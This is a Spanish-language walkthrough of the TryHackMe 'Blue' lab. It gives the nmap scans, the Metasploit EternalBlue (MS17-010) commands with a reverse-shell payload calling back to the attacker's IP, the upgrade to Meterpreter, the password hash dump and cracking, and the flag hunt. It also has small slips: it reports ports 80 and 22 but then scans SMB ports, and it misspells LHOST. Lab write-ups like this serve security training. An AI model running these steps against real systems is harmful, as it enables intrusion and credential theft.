La máquina Blue es una máquina de dificultad fácil de TryHackMe.

Resumen de conceptos trabajados:

Escaneo de Puertos
Explotación de Vulnerabilidades (MS17-010 / EternalBlue)
Shell Remota (Control básico del sistema)
Elevación de Privilegios a NT AUTHORITY\SYSTEM
Volcado de Hashes de Contraseñas (hashdump)
Crackeo de Hashes
Búsqueda de Flags (Enumeración de archivos y directorios)
Análisis de Archivos .lnk (Rastrear enlaces simbólicos)
Enumeración en Sistema Windows (Uso de comandos básicos para moverse entre directorios y obtener información del sistema)

Al final del write up te cuento un resumen de toda la máquina. 🙂

Si es tu primera máquina en TryHackMe y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento paso a paso cómo introducirte en esta plataforma.

Cuando inicies siempre una máquina de TryHackMe, recuerda securizarte en la red, para ello te cuento cómo lo hago yo siguiendo estos sencillos pasos.

ESCANEO DE PUERTOS

Comenzamos primero viendo si la máquina está activa y podemos conectarnos a ella, y después continuamos con el descubrimiento de puertos para luego hacer un escaneo de los servicios y versiones que corren para esos puertos.

¿Está la máquina víctima activa y nos podemos comunicar con ella?

Aquí lo que haremos es ejecutar estos comandos para ver su el «host is up» y ver el SO.

nmap -sn 10.10.68.12
ping -c 1 10.10.68.12

Resultado: máquina activa con la que tenemos conexión, y además nos devuelve un TTL de 127 por lo que estamos ante una máquina Windows (que sería de 128 pero se reduce en 1 cada vez que un paquete atraviesa un nodo en la red).

A partir de aquí comenzamos con el escaneo de puertos con el siguiente comando:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.68.12 -oG Escaneo

Se detectan los servicios web y ssh en los puertos 80 y 22.

Pasamos a ver las versiones de cada puerto abierto en busca de posibles exploits ya publicados:

nmap -sCV -p445,139,135 10.10.68.12

Puertos y Servicios Importantes

  1. 135/tcp (Microsoft Windows RPC): Un servicio estándar para interacciones DCOM/RPC.
  2. 139/tcp (NetBIOS-SSN): Protocolo para compartir archivos en redes Windows.
  3. 445/tcp (SMB Microsoft-DS):
    • Sistema operativo detectado: Windows 7 Professional SP1.
    • Message signing: Deshabilitado, lo cual aumenta el riesgo de ataques SMB.

Información Detectada

  • Nombre de la máquina: JON-PC.
  • Workgroup: WORKGROUP.
  • Cuenta de invitado habilitada: Esto sugiere posibles accesos no autenticados al sistema SMB.

Explotación de Vulnerabilidades (MS17-010 / EternalBlue)

Buscamos vulnerabilidades SMB: Ejecutamos el siguiente comando para buscar vulnerabilidades comunes de SMB, incluyendo MS17-010 (EternalBlue):

nmap --script smb-vuln* -p 445 10.10.68.12

El objetivo es vulnerable a MS17-010 (EternalBlue), una vulnerabilidad crítica que permite la ejecución remota de código en sistemas con SMBv1 («Windows SMB Remote Code Execution Vulnerability»). Esta es una excelente oportunidad para explotarla y ganar acceso al sistema.

SHELL REMOTA – METASPLOIT

Tal y como comenta el laboratorio en THM, vamos a usar la herramienta Metasploit para comprometerla:

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/shell/reverse_tcp
set RHOSTS 10.10.68.12
set LHOSTS 10.8.20.159
run

El exploit ha sido ejecutado exitosamente y se ha obtenido una shell remota en la máquina víctima. Ahora estamos dentro del sistema y podemos comenzar con la post-explotación.

Qué ha ocurrido:

  • El exploit EternalBlue ha logrado aprovechar la vulnerabilidad MS17-010.
  • Una vez explotada, Metasploit ha enviado un payload que estableció una conexión inversa (reverse shell).
  • Ahora tienes acceso al sistema de la víctima con permisos probablemente altos.

Para convertir la shell obtenida en una shell de Meterpreter utilizando Metasploit, se puede emplear un módulo post específico. Aquí te explico el proceso y el nombre del módulo:

Paso a Paso: Convertir una Shell a Meterpreter

  1. Poner la shell en segundo plano:
    • Usa CTRL + Z para enviar la sesión actual al fondo.
    • Escribe sessions para listar todas las sesiones activas y toma nota del ID de tu sesión.
  2. Cargar el módulo post de Metasploit: El módulo que necesitas usar es: use post/multi/manage/shell_to_meterpreter
  3. Configurar el módulo:
    • Establece el ID de la sesión que deseas convertir: set SESSION <id_de_tu_sesión>
    • Opcionalmente, ajusta otras opciones como el LHOST si es necesario.
  4. Ejecutar el módulo: run . Esto intentará convertir la shell obtenida en una sesión de Meterpreter, que es mucho más avanzada y ofrece herramientas adicionales.

Hemos obtenido una nueva shell, y además tenemos privilegios de NT AUTHORITY\SYSTEM, que es el nivel más alto de permisos en un sistema Windows. Esto significa que tenemos control total sobre la máquina comprometida. 🚀

VOLCADO DE HASHES Y CRACKING

  • Ejecutamos el comando hashdump desde la sesión de Meterpreter (exit desde la shell de Windows) para volcar los hashes de contraseñas.
  • Identificamos el hash del usuario no predeterminado (Jon).

Crackeo de hashes:

Crackeamos la hash del usuario Jon con CrackStation.

BÚSQUEDA DE FLAGS 1,2 Y 3

Y ahora vamos a intentar descifrar las tres flags, para ello:

Flag 1: Can you C it? (pista)

  • La pista indica que la flag 1 puede estar en la raíz del sistema (C:\).
  • Dentro de Meterpreter, utilizamos el comando cd para navegar a C:\ y ls para listar los archivos en esta ubicación.
C:\>type flag1.txt

Flag 2: I wish I wrote down where I kept my password. Luckily it’s still stored here on Windows. (pista)

Flag 3: You’ll need to have elevated privileges to access this flag. (pista)

  • Según la pista, esta flag está en un lugar al que solo el administrador tiene acceso. Una ubicación común sería en el escritorio del administrador: C:\Users\Administrator\Desktop.
  • Cuando listamos todos los usuario de la máquina Windows explotada y directorios, vemos una ruta donde se almacena un enlace a la flag3 dentro del usuario Jon.
RESUMEN

Comenzamos explotando la vulnerabilidad conocida como MS17-010 (EternalBlue) para acceder a la máquina víctima.

Este exploit permitió obtener una shell básica en el sistema, que es como un control remoto para ejecutar comandos. A partir de aquí, trabajamos para elevar nuestros privilegios al nivel de NT AUTHORITY\SYSTEM, que es el más alto en un sistema Windows, dándonos control total sobre la máquina.

Una vez obtenido este acceso completo, usamos el comando hashdump para volcar los hashes de contraseñas de los usuarios registrados en la máquina, identificando al usuario «Jon» y crackeando su contraseña mediante CrackStation.

Después de obtener la contraseña, nos centramos en localizar las tres «flags» ocultas en el sistema. Primero encontramos la Flag 1 en la raíz del disco C:\, luego localizamos la Flag 2 en la carpeta de configuración del sistema C:\Windows\System32\config, y finalmente accedimos a la Flag 3 en los documentos del usuario «Jon».

Este último paso fue más complejo, ya que seguimos un enlace simbólico (.lnk) que nos llevó a su ubicación real en C:\Users\Jon\Documents. Con esto, completamos la resolución de la máquina aplicando técnicas básicas de enumeración, análisis y acceso paso a paso.

Otros posts relacionados